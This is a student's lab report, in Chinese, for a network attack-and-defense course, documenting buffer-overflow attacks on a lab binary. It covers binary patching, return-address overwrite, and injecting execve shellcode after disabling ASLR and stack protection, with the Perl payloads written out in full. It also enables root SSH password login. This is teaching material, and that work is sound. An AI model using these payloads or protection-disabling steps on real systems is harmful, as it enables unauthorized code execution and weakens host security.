20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验一实验报告
实验内容
修改可执行文件 实现缓冲区溢出攻击getshell
1. 实验原理
修改可执行程序的执行流程,使程序能够执行任意代码
2. 使用软件
- objdump:Linux下反汇编目标文件或可执行文件的命令,以可阅读格式更多地了解二进制文件可能带有的信息
- ssh:可以使主机远程控制kali
- vim:Linux下的文本编辑软件
3. 实验思路
-
直接修改可执行文件,改变程序执行流程
-
利用漏洞,此实验中是foo函数的Bof漏洞
-
注入一个自己制作的shellcode并运行这段shellcode
4. 直接修改程序
4.1 查看文件、分析反汇编代码
ls
objdump -d pwn | more //反汇编,管道使它分页显示
在分页显示界面输入如下指令,可快速查找对应代码段
/main //直接找主函数
/getShell //直接找getShell
main函数前两条指令push mov 是在准备自己的栈针
4.2 修改代码
更改main函数第四行的函数,有两种方法
- vi指令直接改
- 用图形化界面软件
vim是个文本编辑器,打开16进制文件全是乱码,所以需要转换成16进制:%! xxd
直接搜索更改的目标/d7
,把它改成c3
更改完毕后要转换回原格式,保存退出
:%!xxd -r
:wq!
4.3 验证
objdump -d pwn | more //反汇编,管道使它分页显示
/main //直接找主函数
最后可以运行一下两个程序做对比
5. 构造函数 造成BOF攻击
5.1 实验原理
原来是80484ba,
后来放入了一个字符串 前28位放入预留空间,28—31位放入EBP,32—35位放入EIP(导致程序跳转)
call 指令包含:
- push// 压入指针
- jump
leave指令包含:
- mov %ebp %esp //即回收栈空间
- pop %ebp//正常来说恢复主函数的栈底,但攻击后被覆盖,不过不执行,所以不影响
return指令:
- pop %EIP //指向下一条要执行的指令
EIP被攻击后就变成了1234(0x31 0x32 0x33 0x34)
5.2 实验步骤
5.2.1 确认输入字符串哪些部分会覆盖返回值
多输入的数字被当作ASCII码,要转换成16进制,然后被跳转
所以应该输入的内容:11111111222222223333333344444444\x7d\x84\x04\x08
- 小端优先
5.2.2 解决转换问题
“\x7d\x84\x04\x08”键盘无法输入 需要构造一个程序来转换
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08” ‘ > input
这样就会形成一个input文件
或者直接显示字符串
perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08” ‘ >
如何从.bak恢复到pwn1
cp pwn1.bak pwn1
可以使用16进制指令 xxd input
查看input文件内容是否符合预期
5.2.3 输入字符串
将input输入通过管道|
作为pwn1的输入
(cat input; cat) | ./pwn1
这样就进入了getshell
6. 注入shellcode指令
6.1 准备shellcode文件(了解)
- 获取代码并编译
- 编译是静态编译
- 编译的时候加选项
gcc -fno-stack-proctector //关闭堆栈保护
- 用gdb反汇编查看main、execve
- 汇编shellcode
- 提取有效部分
- 测试
6.2 准备环境
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo “0” > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
6.3 构造要注入的PAYLOAD
6.3.1 原理
EIP里面放着shellcode的地址
具体内容放在哪里取决于操作系统,缓冲区小就放后边,反之放前面。 这次试验shellcode放在后面
- 问题:真正的攻击指令(0x31)在哪?
在攻击中为了指示指令的位置,会用空指令nops
总结
- 堆栈可执行:shellcode放在堆栈上,可执行权限打开
- 关闭 AISR地址随机化,是为了保证每次运行时,程序栈帧的起始地址相同
此次试验采用的结构:anything+ retaddr +nops + shellcode
- 不是nops + shellcode + retaddr !!!
nops一是为填充,二是做着陆区/滑行区
猜测的返回地址只要落在任何一个nop上就可以滑到我们的shellcode
6.3.2 构造payload
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
6.3.3 确定1234到底写什么(确定地址)
- 输入
(cat 20192403_input_shellcode; cat) | ./20192403_pwn1
注入shellcode
这时不要按回车,在虚拟机内打开终端 用gdb调试pwn1这个进程
-
查找pwn1的进程号
输入ps -ef | grep pwn1
查看进程号
-
启动gdb调试程序
gdb 20192403_pwn1
输入attach 1395
调试
通过设置断点来查看注入buf的内存地址disassemble foo
希望ret返回后能跳转到我们覆盖的retaddr区域break *0x08048ae
4.使程序继续执行
在另一个终端中按下回车,然后在当前终端中输入c
,使程序继续执行。程序会停在ret指令处:
5.查找\x1\x2\x3\x4
输入info r esp
,发现esp寄存器的值为0xffffd5dc
再输入x/16x 0xffffd5dc
,可以看到90909090
了,其起始地址是0xffffd5e0
6.4 更改shellcode 注入攻击
将之前的shellcode中的\x4\x3\x2\x1
修改为0xffffd5e0
,注意小端在前,重新生成shellcode
perl -e 'print "A" x 32;print "\xe0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
然后输入(cat input_shellcode;cat) | ./200192403_pwn1
验证结果
验证成功
7. 实验问题及解决
7.1 ssh远程控制虚拟机
- 在kali终端输入命令进入文件
sudo vi /etc/ssh/sshd_config
最好在sudo模式下输入 否则会出现权限不够的情况
文件32行#PermitRootLogin without-password 取消注释,并将后面的without-password改成yes
文件57行左右找到#PasswordAuthentication yes 取消注释;
- 启动ssh服务
/etc/init.d/ssh restart
正常来说到这一步就结束了,但我的电脑出现了两个问题:
- 拒绝连接
查询资料知这是因为没有给虚拟机设置桥接网卡
打开虚拟机网络设置,更改网卡1为下图:
用 ifconfig 命令重新查看虚拟机IP会发现IP变化
- 输入的密码正确,却始终被拒绝
这个问题在网上查了很多资料,但一般的建议只给到修改文件,也就是已经进行过的第一步。
根据这篇博客的指引进行排查,发现自己在更改登录人的时候就出现了报错
原来确实是root密码错了
在终端输入sudo passwd root
更改密码成功
验证一下
然后再去主机终端输命令ssh root@172.30.7.168 -p 22
终于连接成功了!!!
7.2 主机和虚拟机之间传文件
主机中下载的pwn1无法传送到kali中,通过网上找资料,发现其实可以不用共享文件夹,通过虚拟机控制台的文件管理器传文件
7.3 程序无法执行
第一次运行程序时系统报错,无法运行
查找资料发现从主机直接传入虚拟机的文件读写权限可能会出问题
用ls -l
命令检查程序读写权限发现确实目标文件只有读写权限,但是不能执行
于是更改文件权限chmod a+x 20192403_pwn1 20192403_pwn1.bak
,添加执行权限
7.4 无法下载安装execstack
安装execstack时系统一直显示“无法定位软件包”
上网查资料得知是因为虚拟机的下载网址有问题。
网上给出的建议是更改镜像源,但我更改了很多镜像源都没能成功
最后找到的一篇博客https://www.cnblogs.com/wenyoudo/p/14617751.html说这是因为密钥问题
根据博客内容导入密钥就成功了
8. 实验感悟
这次实验是利用缓冲区溢出漏洞完成注入攻击,不仅要理解什么是溢出区,还需要用到汇编知识。在实验前,我对汇编并不是很了解,溢出区的知识也仅限于信安概论课,所以开始前对于自己能否顺利完成实验是抱有疑虑的。
但这次实验老师的视频讲解的很清楚,既讲解了实验的原理,也介绍了用到的指令和工具的意义。对于溢出区、栈顶变化这种比较抽象的概念,老师也用图像讲的很清楚。通过学习视频和动手实践,我对于缓冲区溢出漏洞有了更深切的体会。
实验开始前我解决的问题是如何将主机的文件传入kali系统、如何将kali通过ssh在主机中远程控制,在实验中我还遇到了文件不可执行和无法安装execstack的问题,具体的解决方案和过程也附在了报告里。
最后要感谢老师们的指导和付出,老师辛苦了!